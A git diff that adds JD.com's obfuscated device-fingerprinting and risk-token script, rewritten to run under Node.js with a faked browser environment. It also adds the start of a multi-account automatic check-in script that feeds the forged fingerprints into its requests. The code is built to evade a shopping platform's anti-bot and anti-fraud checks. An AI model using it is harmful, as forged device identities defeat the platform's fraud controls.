+_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(url = document.location.href) { + navigator.userAgent = UA + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/JD_DailyBonus.js b/JD_DailyBonus.js new file mode 100644 index 0000000..ea89541 --- /dev/null +++ b/JD_DailyBonus.js @@ -0,0 +1,1930 @@ +/* + +京东多合一签到脚本 + +更新时间: 2021.08.15 19:00 v2.1.0 +有效接口: 20+ +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +电报频道: @NobyDa +问题反馈: @NobyDa_bot +如果转载: 请注明出处 + +如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 +*/ + +var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var OtherKey = ``; //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: + + +var LogDetails = false; //是否开启响应日志, true则开启 + +var stop = '0'; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. + +var DeleteCookie = false; //是否清除所有Cookie, true则开启. + +var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) + +var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) + +var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 + +var $nobyda = nobyda(); + +var merge = {}; + +var KEY = ''; + +const Faker = require('./JDSignValidator') +const zooFaker = require('./JDJRValidator_Pure') +let fp = '', eid = '' + +$nobyda.get = zooFaker.injectToRequest2($nobyda.get.bind($nobyda), 'channelSign') +$nobyda.post = zooFaker.injectToRequest2($nobyda.post.bind($nobyda), 'channelSign') + +async function all(cookie, jrBody) { + KEY = cookie; + merge = {}; + $nobyda.num++; + switch (stop) { + case 0: + await Promise.all([ + JingDongBean(stop), //京东京豆 + JingDongStore(stop), //京东超市 + JingRongSteel(stop, jrBody), //金融钢镚 + JingDongTurn(stop), //京东转盘 + JDFlashSale(stop), //京东闪购 + JingDongCash(stop), //京东现金红包 + JDMagicCube(stop, 2), //京东小魔方 + JingDongSubsidy(stop), //京东金贴 + JingDongGetCash(stop), //京东领现金 + JingDongShake(stop), //京东摇一摇 + JDSecKilling(stop), //京东秒杀 + // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), + // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), + // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), + // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 + JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 + // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 + JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 